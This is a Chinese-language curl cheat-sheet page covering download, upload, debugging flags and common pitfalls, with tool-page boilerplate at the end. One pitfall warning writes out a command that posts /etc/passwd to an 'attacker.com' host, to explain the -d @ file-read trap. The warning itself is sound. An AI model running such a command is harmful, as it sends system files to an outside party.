curl -z data.json -o data.json https://example.com/data.json
curl --remote-time -O <url>

把下载文件的 mtime 设成服务端的 Last-Modified 时间,而不是“现在”。配 -z 能做正确的增量同步。

例子
curl --remote-time -O https://example.com/data.json
curl -R -z data.json -o data.json https://example.com/data.json  # -R is short for --remote-time
curl --create-dirs -o <path/to/file> <url>

自动创建 -o 输出路径里缺失的父目录,而不是因为文件夹不存在就报错。

例子
curl --create-dirs -o ./cache/v1/data.json https://example.com/data.json
curl --fail-early --parallel --remote-name-all <urls>

在并行 / 多 URL 下载里,遇到第一个失败就中止整批,而不是把剩下的全跑完。

例子
curl --fail-early --parallel --remote-name-all https://example.com/a.zip https://example.com/b.zip
curl -o "#1.html" "https://example.com/{a,b,c}"

在 -o 模式里用 #1、#2… 把匹配到的通配部分插进输出文件名,做批量下载。

常见坑: #1 对应 URL 里第一个 {..} 或 [..],#2 对应第二个,依此类推。不用它的话每个通配匹配都会覆盖同一个文件。

例子
curl -o "page-#1.html" "https://example.com/{home,about,contact}"
curl -o "img-#1.jpg" "https://example.com/photos/[1-50].jpg"
curl -sL <url> | tar xz

把下载直接管道进解压器,不写中间文件。装 tarball 时常用。

常见坑: curl | sh 是真实的供应链风险,服务端返回啥你就跑啥。先看一眼,或者先下载再校验 checksum。

例子
curl -sL https://example.com/release.tar.gz | tar xz -C /opt
curl -sL https://example.com/data.json.gz | gunzip | jq .
上传 (9)
curl -T <file> <url>

用 HTTP PUT 上传文件(FTP / SCP / SFTP 等取决于 URL scheme)。

常见坑: `-T file http://host/dir/`(带斜杠)上传到 host/dir/<file>。不带斜杠,URL 就是完整目标路径。

例子
curl -T report.pdf https://api.example.com/files/report.pdf
curl -T - https://api.example.com/log  # upload from stdin
curl --upload-file <file> <url>

-T 的长写法。把 <file> 读出来 PUT / FTP STOR 到 <url>。

例子
curl --upload-file ./build.zip https://api.example.com/releases/v1.0.zip
curl -F "file=@<path>" <url>

把文件作为 multipart/form-data 字段上传(HTML 表单方式)。`;type=` 显式指定 MIME。

例子
curl -F "avatar=@me.png" https://api.example.com/upload
curl -F "file=@dump.json;type=application/json" -F "name=backup" https://api.example.com/files
curl -T <file> ftp://<host>/<path>/

上传到 FTP。FTPS 用 ftps://,SFTP 用 sftp://(要求 curl 编进 libssh)。

例子
curl -T release.tar.gz -u lei:pwd ftp://files.example.com/releases/
curl -T site.zip sftp://lei@example.com/var/www/
curl --upload-file - <url>

从 STDIN 上传,把任何命令输出直接 PUT 上去。

例子
pg_dump mydb | curl --upload-file - https://api.example.com/backups/$(date +%F).sql
tar czf - ./logs | curl -T - https://api.example.com/logs/today.tar.gz
curl --ftp-create-dirs -T <file> ftp://<host>/<deep>/<path>/

上传前在 FTP 服务端创建缺失的远端目录,而不是因为路径不存在就失败。

例子
curl --ftp-create-dirs -T build.zip -u lei:pwd ftp://files.example.com/releases/2026/05/
curl -T <file> --user <u>:<p> sftp://<host>/<path>

走 SFTP(SSH 文件传输)上传。需要编进 libssh2 / libssh 的 curl,看 `curl --version` 里有没有 "sftp"。

例子
curl -T site.zip --user lei:pwd sftp://example.com/var/www/site.zip
curl -T site.zip --key ~/.ssh/id_ed25519 sftp://lei@example.com/var/www/
curl -T <file> --header "Content-Type: <mime>" <url>

裸 PUT 上传(-T)默认不带 Content-Type,显式设上让服务端正确存储 / 解析字节。

例子
curl -T avatar.png -H "Content-Type: image/png" https://api.example.com/users/1/avatar
curl -T data.csv -H "Content-Type: text/csv" https://api.example.com/import
curl -F "meta=<json>;type=application/json" -F "file=@<path>" <url>

在一个 multipart 请求里同时放一个 JSON 元数据部分和一个二进制文件部分,常见的“带元数据上传文件”接口形态。

例子
curl -F 'meta={"name":"report"};type=application/json' -F "file=@report.pdf" https://api.example.com/upload
调试 (17)
curl --trace <file> <url>

把请求、响应、TLS 全程二进制 trace 写到 <file>。`-` 表示打到 stdout。

例子
curl --trace - https://example.com 2>&1 | less
curl --trace trace.bin https://example.com
curl --trace-ascii <file> <url>

和 --trace 类似但人类可读(二进制块用 hex 预览代替)。看起来轻松多了。

例子
curl --trace-ascii trace.log https://example.com
curl --trace-ascii - https://api.example.com/x | grep -v "^==" | less
curl -w '%{http_code}\n' -o /dev/null -s <url>

只打 HTTP 状态码。健康检查脚本的标配写法。

例子
curl -w '%{http_code}\n' -o /dev/null -s https://example.com
[ "$(curl -w '%{http_code}' -o /dev/null -s https://example.com)" = 200 ] && echo OK
curl -w '@<format-file>' <url>

响应结束后打印自定义的计时 + 传输信息。模板写在格式文件里。

常见坑: 常用变量:time_namelookup、time_connect、time_appconnect(TLS)、time_starttransfer(TTFB)、time_total、size_download、speed_download。

例子
curl -w 'DNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTTFB: %{time_starttransfer}s\nTotal: %{time_total}s\n' -o /dev/null -s https://example.com
curl --resolve-show <url>

配合 -v 看 curl 把 hostname 解析到了哪个 IP。要改用 --resolve。

例子
curl -v https://example.com 2>&1 | grep "Trying"
curl --http2 -v <url>

强制 HTTP/2(基于 TLS)。verbose 模式能看到 stream / frame 的协商。

例子
curl --http2 -v https://example.com 2>&1 | grep -i "h2"
curl --http2-prior-knowledge -v http://localhost:8080/  # h2c plaintext
curl --http3 -v <url>

尝试 HTTP/3(QUIC)。只有编进 HTTP/3 支持的 curl 才能用。

例子
curl --http3 -v https://cloudflare-quic.com
curl --next <url2>

一次 curl 调用里跑多个独立请求。每个 --next 重置每请求的状态。

例子
curl -o a.html https://example.com/a --next -o b.html https://example.com/b
curl --config <file>

从配置文件读取参数(一行一个 flag)。长请求和不让密钥进 history 都好用。

例子
curl --config request.curl  # request.curl contains: -H "Auth: $TOKEN" \n https://api.example.com
curl -w '%{time_namelookup} %{time_connect} %{time_appconnect} %{time_starttransfer} %{time_total}\n' -o /dev/null -s <url>

一行打出完整耗时拆解:DNS、TCP 连接、TLS 握手、TTFB、总耗时。排查延迟的经典一行命令。

常见坑: 纯 HTTP(无 TLS)下 time_appconnect 是 0。time_connect 到 time_appconnect 之间的差就是 TLS 握手开销。

例子
curl -w 'dns=%{time_namelookup} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total}\n' -o /dev/null -s https://example.com
curl -w '%{json}' -o /dev/null -s <url>

把 curl 所有 -w 变量作为一个 JSON 对象输出(curl 7.70+)。直接管道给 jq 做结构化耗时分析。

例子
curl -w '%{json}' -o /dev/null -s https://example.com | jq '{code:.http_code, ttfb:.time_starttransfer, total:.time_total}'
curl --trace-ids --trace-ascii - <url>

给每行 trace 加上 transfer 和 connection ID(curl 8.4+),多请求跑批时能看清每行属于哪个请求。

例子
curl --trace-ids --trace-ascii - https://example.com/a --next https://example.com/b
curl --trace-time --trace-ascii <file> <url>

给每行 trace 加时间戳前缀。要把 trace 和服务端日志对上时少不了它。

例子
curl --trace-time --trace-ascii trace.log https://api.example.com/slow
curl -v --stderr <file> <url>

把 curl 的 verbose / 诊断输出重定向到文件(或 `-` 表示 stdout),而不是终端的 stderr。

例子
curl -v --stderr debug.log https://example.com -o body.html
curl --write-out "%{http_code} %{redirect_url}\n" -o /dev/null -s <url>

打出状态码,如果是重定向再打出它指向哪里,且不跟随。快速查看单跳的办法。

例子
curl -sw "%{http_code} -> %{redirect_url}\n" -o /dev/null https://example.com/old-path
curl --http1.1 -v <url>

强制 HTTP/1.1,用来排除某个 HTTP/2 特有的 bug,或连一个处理不好 h2 的服务 / 代理。

例子
curl --http1.1 -v https://example.com 2>&1 | grep "HTTP/1.1"
curl --http1.0 https://example.com  # force the even older HTTP/1.0
curl --dump-header <file> <url>

只把响应头写到文件(body 仍走 stdout / -o)。想把 header 和 body 分开时比 -i 干净。

例子
curl -D headers.txt -o body.json https://api.example.com/items
curl --dump-header - https://example.com | head
常见坑 (21)
-X POST without -d (empty body)

`curl -X POST <url>` 发出去的 POST 一行 body 都没有。server 端收到空 payload,看起来像客户端坏了。

常见坑: -X POST 一定要配 -d / --data-raw / -F。或者干脆不写 -X,光写 -d 就隐含 POST 了。

例子
# wrong:
curl -X POST https://api.example.com/items
# right:
curl -d '{"k":"v"}' -H "Content-Type: application/json" https://api.example.com/items
-d "@file" vs -d "string" (the @ trap)

-d 后字符串开头的 @ 是魔法,意思是“从该文件读 body”。要发以 @ 开头的字面字符串用 --data-raw。

常见坑: `curl -d "@/etc/passwd" https://attacker.com` 会把 /etc/passwd 上传出去。-d 后面绝对别拼接外部输入。

例子
curl -d @body.json https://example.com   # reads file
curl --data-raw "@hello" https://example.com  # sends the literal text "@hello"
-d auto-url-encodes nothing (use --data-urlencode)

常见误解:-d 会自动 URL 编码。其实不会。`-d "q=a b"` 原样发 `q=a b`,表单解析就崩了。

常见坑: 表单字段里有空格 / & / = 一定用 --data-urlencode。-d 是原样发,你写啥就是啥。

例子
# wrong:
curl -d "q=hello world" https://example.com/search
# right:
curl --data-urlencode "q=hello world" https://example.com/search
no -L → you get the redirect HTML

curl 默认不跟跳转。301/302 响应得到的是那一小段重定向占位,不是真正内容。

常见坑: 加 -L 跟跳转。配 -I 能看完整跳转链,不下载 body。

例子
curl -LI https://bit.ly/short  # whole chain
curl -L https://github.com/owner/repo/releases/latest/download/foo.zip -o foo.zip
-s hides real errors (pair with -S)

静默模式(-s)把进度条和错误信息一起吞了。500 安静地返回空。

常见坑: 永远 -sS 一起用:`curl -sS …`。-s 关进度条,-S 让真实错误还能看见。

例子
curl -sS https://api.example.com/health || echo "down"
curl -sSf https://example.com/x  # also fail on HTTP 4xx/5xx
-k disables TLS verification (do not ship)

-k 让 curl 接受任何证书,包括过期、host 不对、自签。等于关 TLS。

常见坑: 生产脚本绝对别带 -k。MITM 静默截获你毫无感知。私有 CA 用 --cacert,否则修证书。

例子
# only for local dev:
curl -k https://localhost:8443/health
# correct private CA:
curl --cacert /etc/ssl/corp-ca.pem https://intranet.corp.example.com
curl: (6) Could not resolve host

hostname DNS 解析失败。检查拼写、DNS 配置(/etc/resolv.conf),确认没卡在 captive portal 后面。

常见坑: Linux 上 docker 默认 DNS 是 127.0.0.11(内置)。--network host 会用宿主 DNS。

例子
dig example.com
curl --resolve example.com:443:1.2.3.4 https://example.com  # bypass DNS
curl: (7) Failed to connect / Connection refused

TCP 连不上。host 在,但那个端口上没进程监听,或者被防火墙挡了。

常见坑: macOS / Linux 上 `lsof -i :<port>` 或 `ss -tlnp` 看。docker 里检查 -p 端口暴露了没,app 监听的是 0.0.0.0 不是 127.0.0.1。

例子
ss -tlnp | grep :8080
docker run -p 8080:80 nginx  # publish
curl: (28) Operation timed out

连接或传输超时。加 --connect-timeout 和 --max-time 收紧时限,错误也更快暴露。

例子
curl --connect-timeout 5 --max-time 15 https://api.example.com
curl --retry 3 --retry-delay 2 https://api.example.com
curl: (35) SSL handshake failed

TLS 协商失败。常见原因:SNI 缺失、服务端要 TLS 1.2+ 客户端在用 1.0、cipher 不匹配。

常见坑: 用 `openssl s_client -connect host:443 -servername host` 排查。老服务试 `--tls-max 1.2` 或 `--ciphers DEFAULT@SECLEVEL=1`。

例子
curl -v --tlsv1.2 https://legacy.example.com
openssl s_client -connect example.com:443 -servername example.com
wget vs curl — when to use which

wget = 递归下载工具(镜像整站)。curl = 可编程 HTTP 客户端(调 API、构造请求)。下载单文件场景重叠,目标不同。

常见坑: wget 默认重试,curl 不会。wget 默认跟跳转,curl 不会。两者参数差异不小,脚本互相搬过去基本要重写。

例子
wget -r -np https://example.com/docs/   # mirror
curl -L -O https://example.com/file.zip       # single file
single vs double quotes around JSON bodies

在 bash 里单引号让 $ 和 " 保持字面,这正是 JSON 需要的。双引号会让 shell 展开 $变量并吃掉你的引号。

常见坑: JSON 用单引号包:-d '{"k":"v"}'。里面要塞 shell 变量就闭合再重开:-d '{"id":"'"$ID"'"}'。

例子
# wrong (shell eats the quotes):
curl -d "{\"k\":\"v\"}" https://api.example.com
# right:
curl -d '{"k":"v"}' -H "Content-Type: application/json" https://api.example.com
curl: (60) SSL certificate problem

curl 无法用它的 CA bundle 校验服务端证书,通常是自签证书、证书过期,或缺中间证书。

常见坑: 别条件反射就上 -k。先诊断:`openssl s_client -connect host:443 -showcerts`。修证书链,或用 --cacert 信任真正的 CA。

例子
openssl s_client -connect example.com:443 -showcerts </dev/null
curl --cacert /path/to/intermediate-bundle.pem https://example.com
curl: (52) Empty reply from server

服务端接受了 TCP 连接但没发任何 HTTP 响应就关了,常见原因是崩溃、协议不匹配,或用 http:// 撞了 HTTPS 端口。

常见坑: 检查 scheme 用对没:用 http:// 撞只收 HTTPS 的端口(或反过来)就是这个报错。换另一个 scheme 加 -v 试。

例子
curl -v https://example.com:443/  # try https if http gave (52)
curl -v http://localhost:8080/   # try http if it is not TLS
-w timing on curl 7.x vs newer for time_appconnect

time_appconnect(TLS 握手计时)在纯 HTTP 请求里是 0。有人把这个 0 误读成“TLS 瞬间完成”,其实是根本没发生 TLS。

常见坑: 只有 HTTPS URL 才会填 time_appconnect。本以为有 TLS 却看到 0,多半是误打了 http://。

例子
curl -w 'tls=%{time_appconnect}\n' -o /dev/null -s https://example.com
curl | sh — the supply-chain footgun

把远程脚本直接管道进 shell,等于在那一刻以你的权限运行服务端返回的任何东西。被入侵或被 MITM 的端点就拿下你了。

常见坑: 先下载成文件,看一遍,校验公布的 checksum / 签名,再运行。绝不要把不可信 URL 管道进 sh。

例子
# safer:
curl -fsSL https://example.com/install.sh -o install.sh
sha256sum -c install.sha256
less install.sh && sh install.sh
-O saves redirect target name "latest" (use -OJ -L)

对以 /latest 结尾且会跳转的 URL 用 -O,curl 会把文件命名为 "latest",因为它按请求的 URL 取名,不是最终 URL。

常见坑: 加 -L 跟跳转,加 -J 按 Content-Disposition 命名。`-OJL` 才能拿到服务端想给的真实文件名。

例子
# wrong:
curl -O https://example.com/download/latest
# right:
curl -OJL https://example.com/download/latest
multiple -d flags get joined with & (not overwritten)

传两次 -d 不会替换 body,curl 会用 & 把它们连起来拼成一个表单 body。以为“后者覆盖”的话会很意外。

常见坑: 这其实是拼表单的特性:`-d a=1 -d b=2` 发的是 `a=1&b=2`。发原始 JSON 几乎从不想要这行为,用一个 -d / --json @file。

例子
curl -d "user=lei" -d "role=admin" https://api.example.com/x  # sends user=lei&role=admin
curl: (3) URL using bad/illegal format

curl 拒绝了 URL 语法,常见是没编码的空格、被当成通配的方括号,或者缺 scheme。

常见坑: 整个 URL 用引号包住,空格编码成 %20,方括号是字面的就加 -g。缺 scheme 时 curl 会猜 http://,但最好写明。

例子
curl -g "https://example.com/q?ids=[1,2,3]"
curl "https://example.com/search?q=hello%20world"
no Content-Type → API treats your JSON as form data (415)

用 -d 发 JSON 却不带 Content-Type,curl 默认就是 application/x-www-form-urlencoded,严格的 API 会用 415 拒绝。

常见坑: 要么加 `-H "Content-Type: application/json"`,要么直接用 `--json`,它会替你设好。

例子
# wrong:
curl -d '{"k":"v"}' https://api.example.com
# right:
curl --json '{"k":"v"}' https://api.example.com
-L re-sends the body on redirect (and may double-charge POSTs)

在 307/308 重定向上,-L 会把你的 POST body 重放到新 URL。对非幂等接口(支付、“创建”)这可能让动作触发两次。

常见坑: 搞清楚接口的重定向码。先用 -I 看清楚,给创建 / 支付类 API 配幂等键,再决定要不要盲加 -L。

例子
curl -I -X POST https://api.example.com/pay  # check for 307/308 first

这个工具能做什么

可搜索的 curl 速查,80+ 个 flag,全是你在终端"curl 一发"扒接口、 调 API 时真正会敲的一行。十四大分类:基础(-X / -i / -I / -v / -s / -o / -O / --output-dir),HTTP 方法(GET / POST / PUT / DELETE / PATCH / HEAD / OPTIONS),请求体(-d、--data-raw、 --data-binary @file、--data-urlencode、-F multipart、 --form-string、-d @file),header(-H、-A user-agent、-e referer、 Accept、--compressed、X-Forwarded-For),认证(Basic -u、 Bearer/JWT、--digest、--ntlm、--negotiate Kerberos、--anyauth、 --aws-sigv4 不装 SDK 调 S3/DynamoDB),cookie(-b、-c、 --cookie-jar、-b 配 -c 模拟浏览器完整会话),重定向(-L、 --max-redirs、--location-trusted 的安全提醒),超时与重试 (--connect-timeout、--max-time、--retry、--retry-all-errors、 --keepalive-time),代理(-x HTTP、--proxy-user、--socks5、 --socks5-hostname 防 DNS 泄露、--noproxy、--proxy-insecure), SSL/TLS(-k 危险用法、--cacert、--cert + --key 双向 mTLS、 --tlsv1.3、--resolve 把 hostname 钉到 IP、--cert-status OCSP), 下载(-OJ、范围 -r、断点续传 -C -、--limit-rate、--parallel、 URL 通配 [1-100]、条件 GET -z),上传(-T、--upload-file、 multipart -F @、FTP/SFTP、从 stdin 上传),调试(--trace、 --trace-ascii、-w '%{http_code}\\n' 模板, time_namelookup/connect/appconnect/starttransfer/total 计时变量, --http2、--http3、--next、--config)。再加一个"常见坑"章节, 覆盖能毁掉开发者一下午的十一种翻车:`-X POST` 不加 `-d` 发的是 空 body、`-d` 后面 `@` 是魔法会读本地文件(拼接外部输入有外泄 风险)、误传"-d 会自动 URL 编码"(其实不会,要 --data-urlencode)、 忘记 -L 拿到的是重定向占位、`-s` 把真错也吞了要配 `-S`、`-k` 等于关 TLS、错误码 6 / 7 / 28 / 35 的真正解法、何时该换 wget。 每条都给中英双语说明、对应"常见坑"、1-4 条能直接拷贝的真实 例子。搜索框跨命令/说明/坑/例子四字段一起过滤,分类胶囊缩范围, 每条一键复制。完全浏览器里跑,不上传不追踪,公司代理后面、飞机 上、离网跳板机上都安全,这些场景恰恰最需要 curl 速查。

工具细节

输入
文件 + 文本 + 结构化内容
页面会根据工具类型展示文本框、数值控件、文件选择或结构化输入。
输出
即时结果 + 复制
结果区优先给出可操作结果,支持项会显示复制、下载或可视化预览。
隐私
浏览器本地处理
主工具逻辑未发现外部 API 调用,输入通常留在当前标签页内处理。
保存 / 分享
免账号使用
打开页面即可使用;刷新后是否保留结果取决于具体工具。
性能预算
首屏 JS ≤ 25 KB
没有声明 WASM 依赖,适合快速打开和移动端使用。
适用场景
开发运维 · 程序员
分类和职业标签用于推荐相关工具、组织内链,并帮助用户快速判断是否适合当前任务。

怎么用

  1. 1. 输入

    把内容粘贴或拖入工具面板。

  2. 2. 处理

    点击按钮,在浏览器内本地处理,文件不上传。

  3. 3. 复制 / 下载

    一键复制结果或下载到本地。

curl 命令速查 适合怎么用

适合在上传、交付、归档、客服排查前使用,也适合任何文件离开本机前的本地复核。

适合文件任务

  • 分享前检查文件类型、大小、元数据和明显不匹配信号。
  • 上传、归档、接收或审核前整理混合文件夹。
  • 敏感文件先留在浏览器里处理,不用交给账号型服务。

文件检查项

  • 不要只凭扩展名判断真实文件类型。
  • 文件发给客户、供应商或公开页面前,先看元数据。
  • 复制、转换或导出结果确认前,保留原文件。

下一步可以接着做

这些入口会把当前任务接到更完整的工具链里。

  1. 1 Docker 命令速查 Docker 命令速查,80+ 条命令带真实例子和常见坑,含 Compose 章节。 打开
  2. 2 HTTP 状态码查询 HTTP 状态码查询,70+ 个全收录,带含义、常见原因、真实场景、怎么排查。 打开
  3. 3 DNS 记录解释器 DNS 记录解释器,18 种常见记录(A/AAAA/CNAME/MX/TXT/SRV...)含语法、真实例子、常见坑。 打开

真实使用场景

  • 预发 API 老返回 400,你要那条真能跑通的请求

    CI 里 POST /orders 一直 400。你把失败的 curl 贴进来,一眼看出 `-X POST` 后面没带 `-d`,body 是空的,补上 `-H "Content-Type: application/json" -d @order.json`,服务端 就收了。五分钟搞定,不用再猜是网关、是鉴权还是 payload 折腾 一下午。

  • 定位那 3 秒页面延迟到底卡在哪

    运维说某内网接口慢,但应用日志看着正常。你抓那条 `-w` 计时 一行,对着 host 跑,看到 time_namelookup 1.8 秒,connect 和 starttransfer 都很小。瓶颈是 DNS 不是服务。你把 curl 指向更快 的解析器,确认降到 40 毫秒,工单直接开给 DNS。

  • 不装 AWS SDK 复现一次 S3 调用

    在一台锁死的跳板机上,没 pip 也没 aws-cli,你还是得验一条桶 策略。你拷 `--aws-sigv4` 那条例子,从环境变量填进 region 和 access key,直接 GET 那个对象。一行 curl 顶掉一整套你本来也 装不上的 SDK。

  • 带新人,他老把 `-k` 推到生产

    新同事拿 `-k` 把证书报错按掉,然后提交了。你把 SSL/TLS 那段 发给他:常见坑那行说清楚 `-k` 等于把校验整个关掉,解法那行 给的是 `--cacert ./internal-ca.pem` 去信任真正的公司 CA。证书 报错消失,洞也没开。

常见踩坑

  • 写了 `-X POST` 却不带 `-d`,然后纳闷服务端为啥对空 body 报 400;去掉 `-X`,光用 `-d`(或 `-d @file.json`)就隐含 POST。

  • 以为 `-d` 会帮你 URL 编码,结果空格和 `&` 把值搞坏;带特殊字符的一律用 `--data-urlencode "q=hello world"`。

  • 为了按掉证书报错随手上 `-k` 还提交了;那是把 TLS 校验整个关掉,该用 `--cacert ./ca.pem` 去信任正确的 CA。

隐私说明

这份速查完全在你浏览器里跑。搜索框只对内存里的 curl 命令数组做 过滤,你搜的内容不出标签页,也不进 URL。页面里的例子都是带占位 host 和占位 token 的静态模板,你拷走在自己终端里跑,真实的接口、 token、payload 一概不会经过这个页面。公司代理后面或离网机器上用 都安全。

常见问题

类似工具组合

做你这行的人, 还会一起用这些。

Made by Toolora · 100% client-side · Updated 2026-06-14